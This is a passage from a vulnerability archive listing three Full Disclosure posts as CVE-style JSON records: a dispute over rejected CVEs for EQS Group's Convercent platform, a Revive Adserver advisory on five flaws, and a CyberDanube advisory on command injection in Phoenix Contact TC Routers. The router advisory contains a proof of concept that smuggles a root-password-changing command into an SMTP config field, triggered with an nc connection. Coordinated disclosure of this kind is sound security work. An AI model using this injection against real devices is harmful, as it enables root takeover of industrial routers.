https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
reference
GCVE-1988-2026-0229 (this record)
- related CVE-2025-34411
- related CVE-2025-34412
{
"containers": {
"cna": {
"affected": [
{
"product": "unknown",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Wade Sparks"
}
],
"descriptions": [
{
"lang": "en",
"value": "Hello Yuffie,\n\nUpon further investigation, the VulnCheck CNA determined that these\nvulnerabilities were not suitable for CVE assignment. The\nvulnerabilities exist within a SaaS product and are mitigated at the\nCSP-level which in this case, would be the vendor, EQS Group. Rather than\ncontribute unactionable CVE records, the VulnCheck CNA used its\ndiscretionary prowess to move forward with rejecting these records. This\npolicy aligns with a 2022 blog from MITRE\n\u003chttps://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID\u003e.\nIt\nshould be noted that the vendor informed us that they have published\nadvisories for the respective vulnerabilities in their \"Trust Center\"\ncustomer portal.\n\nThese actions should not be a deterrent for you to pursue CVE assignment\nthrough MITRE or another research CNA.\n\nBest regards,\n\n\u003chttps://www.vulncheck.com/\u003e\n\nWade Sparks III\nVulnCheck\nSenior Vulnerability Analyst\n\n\nOn Tue, Jan 20, 2026 at 12:13\u202fPM Yuffie Kisaragi \u003c\nyuffie.kisaragi () atomicmail io\u003e wrote:\n\n\n\nDear Art,\n\nThank you for sharing your detailed evaluation and for pointing out the\nrelevant sections of the CNA Rules.\n\nYour argument is well reasoned, particularly with respect to the current\nguidance on SaaS and exclusively hosted services.\n\nI have forwarded your evaluation to the CNA for further consideration. It\nwill also be important to understand the vendor\u2019s perspective in light of\nthe points you raised, especially regarding the applicability of the\n\u201cexclusively-hosted-service\u201d tag and the removal of prior restrictions.\n\nWe look forward to receive transparent feedback from the CNA and/or the\nvendor.\n\nTo date, the vendor has remained silent with regard to informing their\nusers about the reported issues. As far as we can determine, no public\nadvisory or user-facing communication has been issued via their\nvulnerability reporting channel (\nhttps://www.eqs.com/report-a-vulnerability/) or elsewhere.\n\nBest regards,\n\nYuffie\n\nOn Tue, Jan 20, 2026 at 7:26 PM \u003czmanion () protonmail com\u003e wrote:\n\nHi,\n\nthe vulnerabilities are no longer considered eligible for CVE tracking,\ndespite being real, independently discovered, responsibly disclosed, and\nacknowledged by the vendor.\nCVE IDs *can* be assigned for SaaS or similarly \"cloud only\" software.\nFor a period of time, there was a restriction that only the provider could\nmake or request such an assignment. But the current CVE rules remove this\nrestriction:\n\n4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud,\non-premises, artificial intelligence, machine learning) as the sole basis\nfor determining assignment.\n\nIt would have been acceptable (even preferred) to leave CVE-2025-34411\nand CVE-2025-34412 published and identify them as affecting an\n\"exclusively-hosted-service:\"\n\n5.1.11.1 (A CVE Record) MUST use the \u201cexclusively-hosted-service\u201d tag\nwhen all known Products listed in the CVE Record exist only as fully hosted\nservices. If the Vulnerability affects both hosted services and on-premises\nProducts, then this tag MUST NOT be used.\n\nRules: https://www.cve.org/resourcessupport/allresources/cnarules\n\nRegards,\n\n- Art\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:43Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/21"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID"
},
{
"url": "https://www.cve.org/resourcessupport/allresources/cnarules"
},
{
"url": "https://www.eqs.com/report-a-vulnerability/"
},
{
"url": "https://www.vulncheck.com/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/21"
],
"discovery": "EXTERNAL"
},
"title": "Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-34411",
"type": "related"
},
{
"destId": "CVE-2025-34412",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0229",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/21",
"automated": true,
"contentSha256": "129a3df9c6db4589d4f36748522adb23150a18cc4a4a985706b7c7951e66992c",
"evidenceScore": 5,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-21T16:29:03Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0229"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:43Z",
"dateUpdated": "2026-09-08T07:57:43Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0229"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0227
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
[REVIVE-SA-2026-001] Revive Adserver Vulnerabilities
Summary
========================================================================
Revive Adserver Security Advisory REVIVE-SA-2026-001
------------------------------------------------------------------------
https://www.revive-adserver.com/security/revive-sa-2026-001
------------------------------------------------------------------------
Date: 2026-01-14
Risk Level: High
Applications affected: Revive Adserver
Versions affected: <= 6.0.4
Versions not affected: >= 6.0.5
Website: https://www.revive-adserver.com/
========================================================================
========================================================================
Vulnerability 1: Format string injection
========================================================================
Vulnerability Type: Use of Externally-Controlled Format String
[CWE-134]
CVE-ID: CVE-2026-21640
Risk level: Low
CVSS Base Score: 2.7
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L
========================================================================
Description
-----------
Details
-------
References
----------
https://hackerone.com/reports/3445332
https://github.com/revive-adserver/revive-adserver/commit/c40187d8
https://cwe.mitre.org/data/definitions/134.html
========================================================================
Vulnerability 2: Authorization Bypass
========================================================================
Vulnerability Type: Authorization Bypass Through User-Controlled Key
[CWE-639]
CVE-ID: CVE-2026-21641
Risk level: High
CVSS Base Score: 7.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
========================================================================
Description
-----------
Details
-------
References
----------
https://hackerone.com/reports/3445710
https://github.com/revive-adserver/revive-adserver/commit/f6059335
https://cwe.mitre.org/data/definitions/639.html
========================================================================
Vulnerability 3: Reflected XSS
========================================================================
Vulnerability Type: Improper Neutralization of Input During Web Page
Generation (‘Cross-site Scripting’) [CWE-79]
CVE-ID: CVE-2026-21642
Risk level: Medium
CVSS Base Score: 6.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Details
-------
References
----------
https://hackerone.com/reports/3470970
https://github.com/revive-adserver/revive-adserver/commit/e245a88
https://github.com/revive-adserver/revive-adserver/commit/0ebc96d
https://cwe.mitre.org/data/definitions/79.html
========================================================================
Vulnerability 4: Reflected XSS
========================================================================
Vulnerability Type: Improper Neutralization of Input During Web Page
Generation (‘Cross-site Scripting’) [CWE-79]
CVE-ID: CVE-2026-21663
Risk level: Medium
CVSS Base Score: 6.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Details
-------
References
----------
https://hackerone.com/reports/3473696
https://github.com/revive-adserver/revive-adserver/commit/c130eb0
https://cwe.mitre.org/data/definitions/79.html
========================================================================
Vulnerability 5: Reflected XSS
========================================================================
Vulnerability Type: Improper Neutralization of Input During Web Page
Generation (‘Cross-site Scripting’) [CWE-79]
CVE-ID: CVE-2026-21664
Risk level: Medium
CVSS Base Score: 6.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Details
-------
References
----------
https://hackerone.com/reports/3468169
https://github.com/revive-adserver/revive-adserver/commit/e88e9ed
https://github.com/revive-adserver/revive-adserver/commit/7a99f69
https://cwe.mitre.org/data/definitions/79.html
========================================================================
Solution
========================================================================
========================================================================
Contact Information
========================================================================
The security contact for Revive Adserver can be reached at:
<security AT revive-adserver DOT com>.
--
Matteo Beccati
On behalf of the Revive Adserver Team
https://www.revive-adserver.com/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
21 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Revive Adserver Vulnerabilities |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0227 (this record)
- related CVE-2026-21640
- related CVE-2026-21641
- related CVE-2026-21642
- related CVE-2026-21663
- related CVE-2026-21664
{
"containers": {
"cna": {
"affected": [
{
"product": "Revive Adserver Vulnerabilities",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matteo Beccati"
}
],
"descriptions": [
{
"lang": "en",
"value": "========================================================================\nRevive Adserver Security Advisory REVIVE-SA-2026-001\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-001\n------------------------------------------------------------------------\nDate: 2026-01-14\nRisk Level: High\nApplications affected: Revive Adserver\nVersions affected: \u003c= 6.0.4\nVersions not affected: \u003e= 6.0.5\nWebsite: https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\nVulnerability 1: Format string injection\n========================================================================\nVulnerability Type: Use of Externally-Controlled Format String\n [CWE-134]\nCVE-ID: CVE-2026-21640\nRisk level: Low\nCVSS Base Score: 2.7\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3445332\nhttps://github.com/revive-adserver/revive-adserver/commit/c40187d8\nhttps://cwe.mitre.org/data/definitions/134.html\n\n\n========================================================================\nVulnerability 2: Authorization Bypass\n========================================================================\nVulnerability Type: Authorization Bypass Through User-Controlled Key\n [CWE-639]\nCVE-ID: CVE-2026-21641\nRisk level: High\nCVSS Base Score: 7.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3445710\nhttps://github.com/revive-adserver/revive-adserver/commit/f6059335\nhttps://cwe.mitre.org/data/definitions/639.html\n\n\n========================================================================\nVulnerability 3: Reflected XSS\n========================================================================\nVulnerability Type: Improper Neutralization of Input During Web Page\n Generation (\u2018Cross-site Scripting\u2019) [CWE-79]\nCVE-ID: CVE-2026-21642\nRisk level: Medium\nCVSS Base Score: 6.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3470970\nhttps://github.com/revive-adserver/revive-adserver/commit/e245a88\nhttps://github.com/revive-adserver/revive-adserver/commit/0ebc96d\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nVulnerability 4: Reflected XSS\n========================================================================\nVulnerability Type: Improper Neutralization of Input During Web Page\n Generation (\u2018Cross-site Scripting\u2019) [CWE-79]\nCVE-ID: CVE-2026-21663\nRisk level: Medium\nCVSS Base Score: 6.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3473696\nhttps://github.com/revive-adserver/revive-adserver/commit/c130eb0\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nVulnerability 5: Reflected XSS\n========================================================================\nVulnerability Type: Improper Neutralization of Input During Web Page\n Generation (\u2018Cross-site Scripting\u2019) [CWE-79]\nCVE-ID: CVE-2026-21664\nRisk level: Medium\nCVSS Base Score: 6.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3468169\nhttps://github.com/revive-adserver/revive-adserver/commit/e88e9ed\nhttps://github.com/revive-adserver/revive-adserver/commit/7a99f69\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\n\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-134",
"description": "CWE-134",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-639",
"description": "CWE-639",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-79",
"description": "CWE-79",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:43Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/19"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/19"
},
{
"url": "https://cwe.mitre.org/data/definitions/134.html"
},
{
"url": "https://cwe.mitre.org/data/definitions/639.html"
},
{
"url": "https://cwe.mitre.org/data/definitions/79.html"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/0ebc96d"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/7a99f69"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/c130eb0"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/c40187d8"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/e245a88"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/e88e9ed"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/f6059335"
},
{
"url": "https://hackerone.com/reports/3445332"
},
{
"url": "https://hackerone.com/reports/3445710"
},
{
"url": "https://hackerone.com/reports/3468169"
},
{
"url": "https://hackerone.com/reports/3470970"
},
{
"url": "https://hackerone.com/reports/3473696"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.revive-adserver.com/"
},
{
"url": "https://www.revive-adserver.com/security/revive-sa-2026-001"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/19"
],
"discovery": "EXTERNAL"
},
"title": "[REVIVE-SA-2026-001] Revive Adserver Vulnerabilities",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-21640",
"type": "related"
},
{
"destId": "CVE-2026-21641",
"type": "related"
},
{
"destId": "CVE-2026-21642",
"type": "related"
},
{
"destId": "CVE-2026-21663",
"type": "related"
},
{
"destId": "CVE-2026-21664",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0227",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/19",
"automated": true,
"contentSha256": "3cc90b37896729de9b4382b0e85f8f06d38ebf529ecfe7b27dd12029dffd23ac",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/19",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-14T12:39:23Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0227"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:43Z",
"dateUpdated": "2026-09-08T07:57:43Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0227"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0215
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series
Summary
CyberDanube Security Research 20260119-0
-------------------------------------------------------------------------------
title| Authenticated Command Injection
product| TC Router 5004T-5G EU
vulnerable version| 1.06.18
fixed version| 1.06.23
CVE number| CVE-2025-41717
impact| High
homepage| https://www.phoenixcontact.com/
found| 16.04.2025
by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber
| CyberDanube Security Research
| Vienna | St. Pölten
| This research was conducted in cooperation with VERBUND
| OT Cyber Security Lab during a penetration test.
|
| https://www.cyberdanube.com
|
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"What we do
Connecting, distributing, and controlling power and data flows - we have been
developing the right products for this purpose since 1923. Whether in
industrial production facilities, in the field of renewable energies, in
infrastructure, or for complex device connections: our solutions are used
wherever processes must run automatically. Above and beyond their pure
function, they help our partners to develop sustainable applications with more
efficient processes and reduced costs.
We are Phoenix Contact: With innovative products and solutions, we are paving
the way to a climate-neutral and sustainable world."
Source: https://www.phoenixcontact.com/en-us/company
Vulnerable versions
-------------------------------------------------------------------------------
Tested on TC Router version 1.06.18
According to the vendor, the following other products are also affected:
Product Name | Affected Firmware Version
TC ROUTER 3002T-3G | < FW 3.08.8
TC ROUTER 2002T-3G | < FW 3.08.8
TC ROUTER 3002T-4G | < FW 3.08.8
TC ROUTER 3002T-4G GL| < FW 3.08.8
TC ROUTER 5004T-5G EU | < FW 1.06.23
TC ROUTER 3002T-4G VZW | < FW 3.08.8
TC ROUTER 3002T-4G ATT | < FW 3.08.8
TC ROUTER 2002T-4G | < FW 3.08.8
CLOUD CLIENT 1101TTX/TX | < FW 3.07.7
TC CLOUD CLIENT 1002-4G ATT | < FW 3.08.8
TC CLOUD CLIENT 1002-TX/TX | < FW 3.07.7
Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Code Execution (CVE-2025-41717)
The device is vulnerable to an authenticated code injection. An attacker with
valid credentials could abuse this issue to execute code as root.
Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Code Execution (CVE-2025-41717)
The config-upload endpoint can be used to inject arbitrary commands which
get executed when polling the sock_server. The malicous config changes the
root password and enables the service.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<entry name="conf/smtp/auth">1</entry>
<entry name="conf/smtp/from">p () t com'$(echo "root:password1!"|ch
passwd)'</entry>
<entry name="conf/smtp/local">1</entry>
<entry name="conf/smtp/password">asdasdasd</entry>
<entry name="conf/smtp/port">25</entry>
<entry name="conf/smtp/server">192.168.19.138</entry>
[...]
<entry name="conf/alerts/sock_enable">1</entry>
<entry name="conf/alerts/sock_port">14323</entry>
<entry name="conf/alerts/sock_xml_io">0</entry>
<entry name="conf/alerts/sock_xml_nl">1</entry>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Connecting to the service and sending a mail triggers the command.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ nc 192.168.19.133 14323
<?xml version="1.0"?>
<email to="pwned () pwned com">
<subject>pwned</subject>
<body>
</body>
</email>
-------------------------------------------------------------------------------
Solution
-------------------------------------------------------------------------------
Install the latest available update. See vendor advisory for detailed version
information.
Workaround
-------------------------------------------------------------------------------
Restrict network access to the device.
Recommendation
-------------------------------------------------------------------------------
Configuration file reviews are recommended before they got applied to the
device.
Contact Timeline
-------------------------------------------------------------------------------
2025-07-17: Sent advisory to Phoenix Contact PSIRT.
2025-07-29: Vendor asked for a call to clarify the vulnerabilities.
2025-07-31: Aligned on timeline for September during call.
2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the
shift.
2025-09-25: Asked the vendor for another call to clarify details regarding all
affected devices (including other advisories).
2025-09-26: Talked to vendor to clarify details.
2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.
2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.
2026-01-19: Coordinated release of security advisory.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF T.Weber / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0215 (this record)
- related CVE-2025-41717
{
"containers": {
"cna": {
"affected": [
{
"product": "CyberDanube Security Research",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "CyberDanube Security Research 20260119-0\n-------------------------------------------------------------------------------\n title| Authenticated Command Injection\n product| TC Router 5004T-5G EU\n vulnerable version| 1.06.18\n fixed version| 1.06.23\n CVE number| CVE-2025-41717\n impact| High\n homepage| https://www.phoenixcontact.com/\n found| 16.04.2025\n by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber\n | CyberDanube Security Research\n | Vienna | St. P\u00f6lten\n | This research was conducted in cooperation with VERBUND\n | OT Cyber Security Lab during a penetration test.\n |\n | https://www.cyberdanube.com\n |\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"What we do\nConnecting, distributing, and controlling power and data flows - we have been\ndeveloping the right products for this purpose since 1923. Whether in\nindustrial production facilities, in the field of renewable energies, in\ninfrastructure, or for complex device connections: our solutions are used\nwherever processes must run automatically. Above and beyond their pure\nfunction, they help our partners to develop sustainable applications with more\nefficient processes and reduced costs.\n\nWe are Phoenix Contact: With innovative products and solutions, we are paving\nthe way to a climate-neutral and sustainable world.\"\n\nSource: https://www.phoenixcontact.com/en-us/company\n\nVulnerable versions\n-------------------------------------------------------------------------------\nTested on TC Router version 1.06.18\n\nAccording to the vendor, the following other products are also affected:\n\nProduct Name | Affected Firmware Version\nTC ROUTER 3002T-3G | \u003c FW 3.08.8\nTC ROUTER 2002T-3G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G GL| \u003c FW 3.08.8\nTC ROUTER 5004T-5G EU | \u003c FW 1.06.23\nTC ROUTER 3002T-4G VZW | \u003c FW 3.08.8\nTC ROUTER 3002T-4G ATT | \u003c FW 3.08.8\nTC ROUTER 2002T-4G | \u003c FW 3.08.8\nCLOUD CLIENT 1101TTX/TX | \u003c FW 3.07.7\nTC CLOUD CLIENT 1002-4G ATT | \u003c FW 3.08.8\nTC CLOUD CLIENT 1002-TX/TX | \u003c FW 3.07.7\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe device is vulnerable to an authenticated code injection. An attacker with\nvalid credentials could abuse this issue to execute code as root.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe config-upload endpoint can be used to inject arbitrary commands which\nget executed when polling the sock_server. The malicous config changes the\nroot password and enables the service.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\u003centry name=\"conf/smtp/auth\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/from\"\u003ep () t com\u0026apos;$(echo \u0026quot;root:password1!\u0026quot;|ch\npasswd)\u0026apos;\u003c/entry\u003e\n\u003centry name=\"conf/smtp/local\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/password\"\u003easdasdasd\u003c/entry\u003e\n\u003centry name=\"conf/smtp/port\"\u003e25\u003c/entry\u003e\n\u003centry name=\"conf/smtp/server\"\u003e192.168.19.138\u003c/entry\u003e\n[...]\n\u003centry name=\"conf/alerts/sock_enable\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_port\"\u003e14323\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_io\"\u003e0\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_nl\"\u003e1\u003c/entry\u003e\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConnecting to the service and sending a mail triggers the command.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$ nc 192.168.19.133 14323\n\u003c?xml version=\"1.0\"?\u003e\n\u003cemail to=\"pwned () pwned com\"\u003e\n\u003csubject\u003epwned\u003c/subject\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/email\u003e\n\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest available update. See vendor advisory for detailed version\ninformation.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nConfiguration file reviews are recommended before they got applied to the\ndevice.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-07-17: Sent advisory to Phoenix Contact PSIRT.\n2025-07-29: Vendor asked for a call to clarify the vulnerabilities.\n2025-07-31: Aligned on timeline for September during call.\n2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the\n shift.\n2025-09-25: Asked the vendor for another call to clarify details regarding all\n affected devices (including other advisories).\n2025-09-26: Talked to vendor to clarify details.\n2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.\n2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.\n2026-01-19: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T.Weber / @2026\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/3"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://twitter.com/cyberdanube"
},
{
"url": "https://www.cyberdanube.com"
},
{
"url": "https://www.phoenixcontact.com/"
},
{
"url": "https://www.phoenixcontact.com/en-us/company"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/3"
],
"discovery": "EXTERNAL"
},
"title": "CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-41717",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0215",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3",
"automated": true,
"contentSha256": "c9702fb15d54ece4ebd9f6086a5c649d6996044d58fa6aebcf87ec01675ee827",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/3",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-03T11:13:05Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0215"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-08T07:57:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0215"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0213
